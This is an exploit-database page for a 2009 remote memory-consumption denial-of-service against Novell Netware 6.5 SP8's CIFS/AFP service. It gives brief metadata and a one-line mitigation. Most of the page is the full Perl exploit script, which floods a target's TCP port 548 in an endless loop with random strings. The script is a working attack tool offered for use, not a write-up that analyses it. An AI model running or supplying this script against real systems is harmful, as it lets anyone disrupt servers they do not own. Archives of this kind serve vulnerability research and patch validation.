Novell Netware CIFS And AFP Remote Memory Consumption DoS

vendor:

Netware

by:

Francis Provencher

7,5

CVSS

HIGH

Denial of Service

N/A

CWE

Product Name: Netware

Affected Version From: Novell Netware 6.5 SP8

Affected Version To: Novell Netware 6.5 SP8

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Novell Netware CIFS And AFP Remote Memory Consumption DoS

This exploit is a modified version of the script written by the researcher Jeremy Brown which is used to cause a remote memory consumption denial of service on Novell Netware 6.5 SP8. The script uses IO::Socket and String::Random modules to send a random string of size up to 666 bytes to the target on port 548.

Mitigation:

Ensure that the latest security patches are installed on the system.

Source

Exploit-DB raw data:

#!/usr/bin/perl
#	Novell Netware CIFS And AFP Remote Memory Consumption DoS
#	Platform: Novell Netware 6.5 SP8
#       Found by Francis Provencher for Protek Research Lab's
#	http://protekresearch.blogspot.com/
#       {PRL} Novell Netware CIFS.nlm Remote Memory Consumption Denial of Service
#       Here is a modified version from the script written by the researcher Jeremy Brown
#       http://jbrownsec.blogspot.com/2009/12/writing-code-that-breaks-code.html
#

use IO::Socket;
use String::Random;

$target   = $ARGV[0];
$port     = 548;
$protocol = tcp;
$maxsize  = 666;
$random   = 0;

if((!defined($target) || !defined($port) || !defined($protocol) || !defined($maxsize)))
{
     print "usage: $0 <target> \n";
     exit;
}

while(1)
{
$sock = IO::Socket::INET->new(Proto=>$protocol, PeerHost=>$target, PeerPort=>$port)
        or logit();

$rand   = new String::Random;
$random = $rand->randpattern("." x rand($maxsize)) . "\r\n\r\n";

     $sock->send($random);
     close($sock);
}